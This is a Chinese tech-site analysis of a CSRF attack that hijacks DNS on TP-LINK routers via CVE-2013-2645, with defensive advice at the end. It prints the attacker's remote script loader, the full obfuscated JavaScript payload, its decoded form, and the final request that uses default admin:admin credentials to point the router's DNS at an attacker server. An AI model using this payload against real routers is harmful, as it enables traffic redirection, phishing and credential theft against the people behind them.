电脑知识大全|电脑编程|电脑故障排除知识|操作系统|硬件|软件基础知识

TP-LINK路由的CSRF攻击劫持DNS分析

发布:admin02-09分类病毒防御

电脑技术网点评:黑客真是无孔不入啊,慢着,这些人还不能称为黑客,最多算个搅屎棍,干的都是些损人不利己的事情,攻击系统,攻击路由器,有些网友上网发现原来干干净净的网页现在多了一些莫名其妙的广告,恭喜你,你的DNS被篡改了,你想打开新浪网,输入后显示的就是某某私服,某某伪装XX网站。下面是网友针对路由器CSRF攻击劫持DNS篡改网络的案例分析。

路由被CSRF攻击,修改DNS的话题最近一直比较活跃,但是国内貌似没有一个技术文章详细的分析此漏洞,漏洞成因比较简单,本篇来科普一下。

本篇讲得是一个利用CVE-2013-2645的漏洞,来修改TP-LINK的DNS案例,针对其他路由的攻击大同小异。

0x01 EXP分析

攻击者会在自己的网站或者已经受他控制的网站上加入一段javascript代码:

document.write(script type=text/javascript src=http://www.xxxxxx.com/js/ma.js);

javascript代码动态的从外站加载一个ma.js的文件,看一下ma.js文件里的内容:

eval(function(p,a,c,k,e,d){e=function(c){return(ca?:e(parseInt(c/a)))+((c=c%a)35?String.fromCharCode(c+29):c.toString(36))};if(!.replace(/^/,String)){while(c--)d[e(c)]=k||e(c);k=[function(e){return d[e]}];e=function(){return\w+};c=1;};while(c--)if(k)p=p.replace(new RegExp(\b+e(c)+\b,g),k);return p;}(T w$=[\E\6\5\m\o\3\q\5\m\8\3\7\\5\3\G\5\j\r\6\6\\y\B\d\e\8\v\4\5\q\u\4\o\H\n\5\5\8\A\j\j\a\i\e\d\f\A\a\i\e\d\f\B\2\k\h\1\2\g\9\1\2\1\2\j\u\6\3\4\z\8\e\j\s\a\f\F\n\r\8\C\3\4\l\3\4\z\8\e\1\n\5\e\I\i\n\r\8\6\3\4\l\3\4\7\2\c\d\8\2\7\2\k\h\1\2\g\9\1\2\1\2\b\b\c\d\8\h\7\2\k\h\1\2\g\9\1\2\1\2\k\k\c\s\3\a\6\3\7\2\h\b\c\Q\a\5\3\x\a\m\7\b\1\b\1\b\1\b\c\i\v\e\a\d\f\7\c\i\f\6\6\3\4\l\3\4\7\2\b\g\1\2\9\P\1\D\g\1\9\R\c\i\f\6\6\3\4\l\3\4\h\7\9\1\9\1\9\1\9\c\C\a\l\3\7\p\t\2\p\S\D\O\p\t\K\p\J\g\L\N\E\j\6\5\m\o\3\y\q];M[\x\4\d\5\3\o\f](w$[0]);,56,56,|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var.split(|),0,{})) 

嗯,是一段混淆的js代码,eval执行一段混淆代码,把eval换成console.log在浏览器的控制台输出一下:

var _$=[x3cx73x74x79x6cx65x20x74x79x70x65x3dx74x65x78x74x2fx63x73x73x3ex40x69x6dx70x6fx72x74x20x75x72x6cx28x68x74x74x70x3ax2fx2fx61x64x6dx69x6ex3ax61x64x6dx69x6ex40x31x39x32x2ex31x36x38x2ex31x2ex31x2fx75x73x65x72x52x70x6dx2fx4cx61x6ex44x68x63x70x53x65x72x76x65x72x52x70x6dx2ex68x74x6dx3fx64x68x63x70x73x65x72x76x65x72x3dx31x26x69x70x31x3dx31x39x32x2ex31x36x38x2ex31x2ex31x30x30x26x69x70x32x3dx31x39x32x2ex31x36x38x2ex31x2ex31x39x39x26x4cx65x61x73x65x3dx31x32x30x26x67x61x74x65x77x61x79x3dx30x2ex30x2ex30x2ex30x26x64x6fx6dx61x69x6ex3dx26x64x6ex73x73x65x72x76x65x72x3dx31x30x36x2ex31x38x37x2ex33x36x2ex38x35x26x64x6ex73x73x65x72x76x65x72x32x3dx38x2ex38x2ex38x2ex38x26x53x61x76x65x3dx25x42x31x25x41x33x2bx25x42x34x25x45x36x29x3bx3cx2fx73x74x79x6cx65x3ex20];document[x77x72x69x74x65x6cx6e](_$[0]); 

仍然是混淆的代码,但是比一开始的容易看很多,只是把一些字符串给转成了16进制方式表示而已。

x77x72x69x74x65x6cx6e这段16进制表示的是字符串writeln

javascript中document[writeln]与document.writeln一样,这是javascript两种访问对象属性的写法。

代码最终等同于:

document.writeln(style type=text/css@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1ip1=192.168.1.100ip2=192.168.1.199Lease=120gateway=0.0.0.0domain=dnsserver=106.187.36.85dnsserver2=8.8.8.8Save=%B1%A3+%B4%E6);/style) 

现在就很明了了,写了一个style标签import一个css调用,让浏览器去访问这个地址:

http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1ip1=192.168.1.100ip2=192.168.1.199Lease=120gateway=0.0.0.0domain=dnsserver=106.187.36.85dnsserver2=8.8.8.8Save=%B1%A3+%B4%E6 

很明显的一个CSRF攻击,攻击者的主要目的是把dns服务器换成106.187.36.85,为了使攻击成功,还加入了一些必要的提交参数,如ip范围是从192.168.1.100-199等。

为了确保所有访问都没有问题,还加入了google的dns,当106.187.36.85有不能解析的域名时,去8.8.8.8获取地址。

应当注意的是这个利用是根据路由的默认密码进入后台做一系列的操作的,如果路由器已经修改的默认用户名密码,可以避免此危害,但是如果浏览器已经在路由后台,或者cookie还未失效,仍然能够攻击成功。

0x02 修改DNS的危害

攻击者为什么要修改DNS呢,当他获取DNS的权限后,他能做什么呢:

1、用户打开一个正常网站时,重定向到一个钓鱼网站。
2、给正常网站加入挂马代码,控制用户PC。
3、软件升级时候不用签名的话,可控制软件的升级。
4、不使用证书的话可以截取邮箱密码,网站上的密码等等。
5、更改网站上的广告,换成自己的。(我觉得这是天朝黑客获取利润的方式)

0x03 如何避免这种攻击

1、首先应该先检查一下自己的dns是否已经被改变了。
2、升级路由的固件,有部分型号已经修复。
3、更改路由器的默认密码。
4、登陆路由后,退出要点击注销。
温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!